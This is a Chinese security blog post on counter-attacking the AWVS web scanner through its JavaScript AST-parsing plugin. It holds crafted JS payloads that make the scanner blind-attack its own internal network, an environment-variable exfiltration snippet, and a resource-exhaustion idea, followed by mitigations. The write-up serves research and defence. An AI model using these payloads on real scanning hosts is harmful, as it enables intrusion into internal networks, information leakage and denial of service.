以下文章来自李姐姐的扫描器
原文:https://mp.weixin.qq.com/s/AOteCDwFWRinVKBnlOzAvg
Acunetix WVS扫描器功能强大,插件丰富,广受白帽子们喜欢,是最为经典的重web扫描器之一。广泛地被攻击队使用,不少企业也在使用它进行内部安全巡检。过去,已有安全研究人员公开过低版本AWVS的RCE反制漏洞(目前已经被蜜罐产品在用)。笔者近期在分析AWVS插件时,对其中一个插件产生了兴趣,进行了一些简单的测试,尝试利用插件执行逻辑,对扫描器进行一定的反制。
Javascript_AST_Parse.script插件
本文介绍的插件是:Scripts/PerFile/Javascript_AST_Parse.script(得到AWVS插件明文的方法,请自行检索)。
该插件的作用是:找到Javascript文件中的所有ajax请求,交给扫描器去执行请求。
这意味着,并不需要特定事件被触发,就能执行到这些HTTP请求,帮助扫描器发现API接口,捕获HTTP响应。AWVS受限于默认的静态爬虫,如果不去解析JS,是找不到这些较为隐蔽的HTTP接口的。
插件工作流程为:
利用acorn解析Javascript代码,生成抽象语法树
遍历语法树,找到所有可调用对象(CallExpression)
在可调用对象中,递归查找,找到所有ajax请求方法,并将该请求添加到扫描器
function processJavaScriptCode(data) {
try {
var ast = acorn.parse(data);
if (ast) processAst(ast);
}
catch (x) {}
}
function processAst(ast) {
var elementsCount = ast.body.length;
for (var i = 0; i < elementsCount; i++) {
recursiveFindCallExpressions(ast.body[i], "");
}
}
AWVS使用了acorn来解析javascript,该项目地址为
https://github.com/acornjs/acorn
反制的基本思路
利用扫描器缺陷,向扫描主机植入木马。实现反向控制
利用扫描器缺陷,消耗主机资源,实现DOS攻击(内存耗尽OOM,CPU恶意占用)
利用扫描器缺陷,反打扫描环境内网
反制:盲打扫描主机所在的内网
笔者经过测试验证,AWVS对ajax请求的目标URL是无限制的。因此,可以在JS文件中,把需要盲打的URL批量吐给扫描器。构造test.js内容为
$(xxx).ready(function()
{
$.get("http://10.1.11.1:8080/script");
$.get("http://10.1.11.2:8080/script");
...
$.get("http://10.1.12.254:8080/script");
});
xxx是不存在的对象,并不能被正常执行,但可以正常解析。在测试页面引入该JS,扫描测试页,可以看到这批URL被扫描器请求了,如下图所示
所以,在JS中向扫描器主动吐出内网漏洞URL盲打,可以发起对扫描主机的内网扫描,它的利用效果跟SSRF盲打是一样的。考虑利用以下漏洞
路由器、交换机、防火墙的RCE漏洞
常见的内网漏洞:Log4j、Jenkins、Struts2、Confluence、Nexus等
请注意,GET/POST/DELETE 等方法都是被支持的。通常,在企业内网大范围扫描容易触碰蜜罐,引起各种安全告警。但该主机因为是扫描节点,容易同时也出现被IP加白,主动忽略告警的问题。因此,扫描器被反制利用的风险反而增加了。
笔者在测试时,尝试写入了大量的URL到单个js,发现仅有一部分URL被请求了,导致这个问题的原因,可能是因为插件超时限制,出现timeout,或者是因为队列的大小限制被主动丢弃了。但解决方法也比较简单,把你想请求的目标URL,拆分后写入多个js文件即可。例如每个js中只写1个C段。
反制:获取扫描主机信息
笔者未能测试成功,原因在于acorn是纯Parser,不支持执行、不能关联上下文。会被AWVS添加执行的只有特定白名单中的请求和参数。一个思路,是寄希望于扫描引擎能支持embeded expression,也就是拼接 $(process.env.USER) 这样的字符串给扫描器。本地测试可行,acorn解析完成,node确实将信息带入了
let acorn = require("acorn");
s = `
$(xxx).ready(function(){
$.get("http://10.1.1.1/?user=${process.env.USERNAME}&os=${process.env.OS}");
});
`;
ast = acorn.parse(s);
if (ast){
processAst(ast);
}
如上图所示,USER 、 OS、 COMPUTERNAME等环境变量中的信息,都是可以被带回,传到我们指定的接口的。然而在投给AWVS后,发现嵌入的表达式并未被解释器替换。
如上图所示,表达式未被替换,此路暂时不通。可能的原因是安全限制,因为笔者写入的参数${1+1}同样没有被正常替换为数字2.
反制:拒绝服务攻击
AWVS用到的acorn版本较低(代码中显示为2.6.5),未发现正则表达式DOS的漏洞。
一个思路,笔者尝试写了一个包含大量请求的js文件(16000个,仅数百kb),扫描器在处理这个JS的时候,出现内存占用的问题,单个目标跑到了2.6GB左右。如果使用普通浏览器打开页面,则是没有问题的,因为js是构造的,会立即抛出异常。因此,多写入几个这样的无效JS,就可以让扫描器陷入无尽的资源空耗。
除此之外,利用扫描器大量地请求AWVS监听在本地3443端口的web服务或其他本地HTTP服务,也是一个潜在的攻击点,笔者未进行测试。
总结
本文介绍了AWVS扫描器Javascript_AST_Parse.script插件的逻辑,以及可能被用于反制的利用点。因为JS解释器限制,可控的输入太少,当前效果还比较局限。有兴趣的同学可以进一步研究其利用手法。开发考虑对该插件做以下处理:
限制该插件在处理单个JS时最多可添加的HTTP请求个数
限制执行递归查找的次数和递归层级
限制只允许添加目标为同一个 域 *.target.com 或者同一个网段下的请求
由扫描框架,控制好单个插件的超时和最大执行次数
由扫描组件,持续监视自身资源占用,必要时放弃退出
扫描器使用者考虑做以下处理:
确保只在容器、虚机安装使用扫描器
网络隔离,对上述虚拟环境,限制其能够访问的内网IP段
对该插件进行前文所述的修改后再使用,或者临时先禁用
对于资源占用异常的扫描进程,考虑直接kill,放弃该目标
免责声明
由于传播、利用本公众号渗透测试网络安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透测试网络安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
进交流群 请添加管理员
备注:进群,将会自动邀请您加入 渗透测试网络安全 技术 官方 交流群
还在等什么?赶紧点击下方名片开始学习吧!